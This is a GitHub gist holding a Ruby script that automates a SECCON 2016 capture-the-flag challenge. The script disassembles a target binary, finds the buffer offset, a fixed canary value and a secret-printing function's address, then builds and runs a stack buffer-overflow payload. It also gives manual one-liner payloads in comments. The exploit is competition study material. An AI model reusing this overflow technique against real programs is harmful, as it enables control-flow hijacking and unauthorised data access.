Last active
October 4, 2016 01:41
-
-
Save syusui-s/e1fcb06ffd5e1db8249808323cfa0893 to your computer and use it in GitHub Desktop.
SECCON大阪大会 2016 30000の問題を自動化するスクリプト
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/ruby | |
# ruby -e 'print ("A"*142)+"ffffffffebaa9441".scan(/../).reverse.map{|e| e.to_i(16).chr }.join()' | ./1407.exe | |
# ruby -e 'def f(s); s.scan(/../).reverse.map{|e| e.to_i(16).chr }.join(); end; print ("A"*142) + f("ffffffffebaa9441") + "\x08\x02@\x00\x00\x00\x00\x00"' | ./1407.exe | |
def objdump() | |
objdump = `objdump -M intel -d "#{ARGV[0]}"` | |
parsed = objdump.each_line.map{|l| | |
l = l.gsub(/^\s+/, "").chomp.split(/\s*\t/) | |
l[0] = l[0].delete(':') if l[0] | |
next l | |
} | |
return parsed | |
end | |
# リトルエンディアンに変換するやつ | |
def endian(s) | |
return s.scan(/../).reverse_each.map{|e| e.to_i(16).chr }.join() | |
end | |
def exec_with_payload(payload) | |
# 本番ではpopenにするところ | |
File::write('./payload', payload) | |
system("./#{ARGV[0]} < payload") | |
return $? | |
end | |
def extend_addr(str) | |
ext = "0"*16 | |
ext[(16-str.length)..15] = str | |
return ext | |
end | |
def solve | |
dump = objdump() | |
cmp_index = dump.find_index{|e| e[2] =~ /cmp/ } | |
prefix_len = dump[cmp_index][2].match(/rsp\+0x(..)/)[1].to_i(16) | |
puts "Prefix Length: \"#{prefix_len}\"" | |
canary = dump[cmp_index][2].match(/0x(\w+)$/)[1] | |
puts "Found Canary: \"#{canary}\"" | |
open_secret_addr = (dump.find{|e| e[2] == "mov eax,0x2" }[0].to_i(16) - 4).to_s(16) | |
print_secret_call_index = dump.find_index{|e| e[2] == "call 0x#{open_secret_addr}"} | |
print_secret_index = print_secret_call_index - dump[0..print_secret_call_index].reverse.find_index{|e| e[1] == "55"} | |
print_secret_addr = dump[print_secret_index][0] | |
puts "Found PrintSecret Addr: \"#{print_secret_addr}\"" | |
# 0x7fffffffd000 は適当な空いてそうなスタック領域で、pop ebp用。 | |
payload = "A"*prefix_len + endian(canary) + endian(extend_addr("0x7fffffffd000")) + endian(extend_addr(print_secret_addr)) | |
s = exec_with_payload(payload) | |
end | |
solve() if $0 == __FILE__ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment